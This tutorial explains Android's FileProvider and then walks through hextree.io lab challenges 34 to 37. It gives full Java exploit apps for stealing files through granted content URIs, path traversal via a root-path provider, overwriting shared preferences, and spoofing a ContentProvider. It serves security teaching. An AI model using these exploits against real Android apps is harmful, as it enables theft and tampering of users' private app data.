The Android FileProvider
component generates content URIs for files based on provided XML
specifications to offer
a file from an application to another app.
Note: The
FileProviderclass is part of theAndroidX Core Library.
Defining a FileProvider requires an entry in the
application manifest. This entry specifies the authority used to
generate content URIs and identifies the XML file defining the
shareable directories.
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.myapp">
<application
...>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
...
</application>
</manifest>The android:authorities attribute specifies the URI
authority to be used for content URIs generated by the
FileProvider. The <meta-data> child
element points to an XML file specifying the target directories. The
android:resource attribute contains the path and name
of the file, excluding the .xml extension.
<paths>
<files-path path="images/" name="myimages" />
</paths>In this example, the <files-path> tag shares
directories within the files/ directory of the app’s
internal storage. The path attribute specifies the
images/ subdirectory. The name attribute instructs the
FileProvider to add the path segment
myimages to content URIs for files located in
files/images/.
The <paths> element may contain multiple
children, each specifying a different directory to share:
| XML Tag | Physical Location | Equivalent Method |
|---|---|---|
<files-path> |
The files/ subdirectory of the app’s internal storage area | Context.getFilesDir() |
<cache-path> |
The cache subdirectory of the app’s internal storage area | Context.getCacheDir() |
<external-path> |
Files in the root of the external storage area | Environment.getExternalStorageDirectory() |
<external-files-path> |
Files in the root of the app’s external storage area | Context.getExternalFilesDir(null) |
<external-cache-path> |
Files in the root of the app’s external cache area | Context.getExternalCacheDir() |
<external-media-path> |
Files in the root of the app’s external media area | Context.getExternalMediaDirs() |
<root-path> |
The root directory of the device | / |
These child elements all use the same attributes:
name: A URI path segment. To enforce security, this
value hides the name of the subdirectory you’re sharing.path: The subdirectory being shared. While the name
attribute represents a URI path segment, the path value represents
an actual subdirectory on the file system.Important: The
pathvalue refers to a subdirectory, not individual files. Single files cannot be shared by specific filenames, nor can subsets of files be specified using wildcards.
To share a file with another app using a content URI, the app must:
Generate that URI with
FileProvider.getUriForFile(). This method returns a
content:// URI for files defined in the
<paths> element of your FileProvider’s
metadata.
File newFile = new File(imagePath, "default_image.jpg");
Uri contentUri = getUriForFile(getContext(), "example.myapp.fileprovider", newFile); As a result of the previous snippet getUriForFile()
returns the content URI
content://com.example.myapp.fileprovider/myimages/default_image.jpg.
Granting the receiving app permission to access that URI.
This can be done either by explicitly calling grantUriPermission()
for the target package or by adding
the appropriate permission flags directly to the intent that carries
the URI.
The impact of being able to access to an app’s files can be high, depending on which files are affected.
Let’s start by analyzing the manifest for the
io.hextree.attacksurface app. We see a
FileProvider defined as follows:
<provider
android:name="androidx.core.content.FileProvider"
android:exported="false"
android:authorities="io.hextree.files"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths"/>
</provider>The referenced @xml/filepaths resource configuration
exposes the internal flags/ directory under the alias
flag_files:
<paths>
<files-path
name="flag_files"
path="flags/"/>
<files-path
name="other_files"
path="."/>
</paths>The manifest also exposes Flag34Activity:
<activity
android:name="io.hextree.attacksurface.activities.Flag34Activity"
android:exported="true"/>public class Flag34Activity extends AppCompactActivity {
...
public Flag34Activity() {...}
@Override
protected void onCreate(Bundle bundle) throws IOException {
super.onCreate(bundle);
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
setResult(0, intent);
return;
}
}
}The target flag is located at
/data/data/io.hextree.attacksurface/files/flags/flag34.txt
file. To get it we can use invoke Flag34Activity using
startActivityForResult. When the target activity
returns the Intent, our onActivityResult method can use
the granted URI permissions to read the file content.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
...
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag34Activity");
intent.putExtra("filename", "flags/flag34.txt");
startActivityForResult(intent, 1);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Uri uri = data.getData();
Log.d("uri", uri.toString());
try {
InputStream isr = getContentResolver().openInputStream(uri);
BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
String line;
while ((line = reader.readLine()) != null) {
Log.d("line", line);
}
reader.close();
isr.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}Output:
... uri ... D content://io.hextree.files/flag_files/flag34.txt
... line ... D HXT{...}
The <root-path> configuration is not
inherently insecure, provided that only trusted files are shared.
However, if the application allows an attacker to control the file
path, this configuration can be abused to expose arbitrary internal
files.
Let’s start by analyzing the manifest for the
io.hextree.attacksurface app. We see a
FileProvider defined as follows:
<provider
android:name="io.hextree.attacksurface.providers.Flag35FileProvider"
android:exported="false"
android:authorities="io.hextree.root"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/rootpaths"/>
</provider>The referenced resource @xml/rootpaths reveals a
critical misconfiguration. The <root-path>
element maps the root_files alias to the system root
(/):
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path
name="root_files"
path="/"/>
</paths>Note: Using
root-pathallows theFileProviderto generate URIs for any file on the device filesystem, assuming the app has filesystem access to it.
The manifest also exposes Flag35Activity:
<activity
android:name="io.hextree.attacksurface.activities.Flag35Activity"
android:exported="true"/>public class Flag35Activity extends AppCompactActivity {
...
@Override
protected void onCreate(Bundle bundle) throws IOException {
super.onCreate(bundle);
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
setResult(0, intent);
return;
}
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
setResult(-1, intent2);
}
}The target flag is located at
/data/data/io.hextree.attacksurface/flag35.txt.
Although the code attempts to base the file lookup in
getFilesDir() (which maps to
/data/data/.../files/), the application does not
sanitize the filename input. This allows for a Path
Traversal attack.
Because the FileProvider is configured with
<root-path path="/"/>, it will successfully
generate a URI for a file even if we traverse outside the intended
files/ directory.
We can exploit this by passing ../flag35.txt as the
filename. This resolves the path to the parent directory where the
flag resides.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
...
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag35Activity");
intent.putExtra("filename", "../flag35.txt");
startActivityForResult(intent, 1);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Uri uri = data.getData();
Log.d("uri", uri.toString());
try {
InputStream isr = getContentResolver().openInputStream(uri);
BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
String line;
while ((line = reader.readLine()) != null) {
Log.d("line", line);
}
reader.close();
isr.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}... uri ... D content://io.hextree.root/root_files/data/data/io.hextree.attacksurface/flag35.txt
... line ... D HXT{...}
The impact of being able to write to an app’s internal files can be severe, depending on which files are affected. Large, complex applications often use internal storage for a variety of purposes; for example, they may store and load native libraries from it. If you are able to overwrite such a native library, this can lead to remote code execution.
Let’s start by analyzing the manifest for the
io.hextree.attacksurface app. We see a
Flag36Activity defined as follows:
<activity
android:name="io.hextree.attacksurface.activities.Flag36Activity"
android:exported="true"/>public class Flag36Activity extends AppCompactActivity {
...
public Flag36Activity() {...}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
this.f.addTag(Boolean.valueOf(Flag36Preferences.getBoolean("solved", false)));
if (Flag36Preferences.getBoolean("solved", false)) {
this.f.addTag(Flag36Preferences.class);
success(this);
} else {
Log.i("Flag36", "Not solved yet: \"solved=false\" in the `Flag36Preferences` shared preferences");
}
}
}The activity checks a boolean value named “solved” within the
Flag36Preferences Shared Preferences file. By default,
this value is false. To capture the flag, we must modify this value
to true. We can achieve this by leveraging a previously identified
path-traversal vulnerability in Flag35Activity.
Flag35Activity returns a URI with permission flags set
to 3 - intent.addFlags(3) - (which
represents
FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION).
This grants us the ability to both read and overwrite files
accessible via the provider.
So we can trigger Flag35Activity with a path
traversal payload pointing to the Flag36Preferences.xml
file, reads the content, replace false with
true and write the content back to the file.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
...
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag35Activity");
intent.putExtra("filename", "../shared_prefs/Flag36Preferences.xml");
startActivityForResult(intent, 1);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Uri uri = data.getData();
Log.d("uri", uri.toString());
try {
// Read the file
InputStream isr = getContentResolver().openInputStream(uri);
BufferedReader reader = new BufferedReader(new InputStreamReader(isr));
String line;
StringBuilder text = new StringBuilder();
while ((line = reader.readLine()) != null) {
text.append(line).append("\n");
}
reader.close();
isr.close();
// Modify the content
String updatedText = text.toString().replace("false", "true");
// Write the content
OutputStream os = getContentResolver().openOutputStream(uri, "wt");
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(os));
writer.write(updatedText);
writer.flush();
writer.close();
os.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}Previously, we examined vulnerabilities on the “sending” side where apps insecurely expose content. Now, we shift our focus to the “receiving” side. A significant threat model exists where applications expect to consume data from an external ContentProvider/FileProvider. If the receiving app trusts the structure or content of the returned data without validation, it can be exploited.
The Flag37Activity accepts a data URI from an Intent
and performs two checks before releasing the flag:
_display_name must be
../flag37.txt and _size must be
1337.InputStream from the URI and reads the content. The
content must equal give flagpublic class Flag37Activity extends AppCompactActivity {
public Flag37Activity() {...}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Uri data = getIntent().getData();
Cursor cursorQuery = null;
try {
try {
cursorQuery = getContentResolver().query(data, null, null, null, null);
if (cursorQuery != null && cursorQuery.moveToFirst()) {
String string = cursorQuery.getString(cursorQuery.getColumnIndex("_display_name"));
long j = cursorQuery.getLong(cursorQuery.getColumnIndex("_size"));
if ("../flag37.txt".equals(string) && j == 1337) {
InputStream inputStreamOpenInputStream = getContentResolver().openInputStream(data);
if (inputStreamOpenInputStream != null) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStreamOpenInputStream));
StringBuilder sb = new StringBuilder();
while (true) {
String line = bufferedReader.readLine();
if (line == null) {
break;
} else {
sb.append(line);
}
}
inputStreamOpenInputStream.close();
this.f.addTag(sb.toString());
if ("give flag".equals(sb.toString())) {
success(this);
} else {
Log.i("Flag37", "File content '" + ((Object) sb) + "' is not 'give flag'");
}
}
} else {
Log.i("Flag37", "File name '" + string + "' or size '" + j + "' does not match");
}
}
if (cursorQuery == null) {
return;
}
} catch (Exception e) {...}
cursorQuery.close();
} catch (Throwable th) {...}
}
}To get the flag, we must create a malicious app that serves a
ContentProvider capable of satisfying both checks.
query() method. Instead of using a heavyweight SQLite
database, we can use a MatrixCursor to construct a
dynamic, in-memory table containing the exact columns
(_display_name, _size) and values the
victim expects.openFile() method. Instead of creating a physical file
on the disk, we can generate an in-memory stream using
ParcelFileDescriptor.createPipe(). This allows us to
pipe the string give flag directly to the victim.<?xml version="1.0" encoding="utf-8"?>
<manifest ...>
<application ...
<provider
android:name=".AttackProvider"
android:authorities="com.example.myapplication.attack.provider"
android:enabled="true"
android:exported="true"></provider>
</application>
</manifest>public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
...
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag37Activity");
intent.setData(Uri.parse("content://com.example.myapplication.attack.provider/file.txt"));
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);
}
}public class AttackProvider extends ContentProvider {
public AttackProvider() {...}
...
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
MatrixCursor cursor = new MatrixCursor(new String[]{"_display_name", "_size"});
cursor.addRow(new Object[]{"../flag37.txt", 1337});
return cursor;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
Log.i("AttackProvider", "openFile(" + uri.toString() + ")");
try {
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);
new Thread(() -> {
try {
outputStream.write("give flag".getBytes());
outputStream.close();
} catch (IOException e) {
Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
}
}).start();
return pipe[0];
} catch (IOException e) {
throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
}
}
}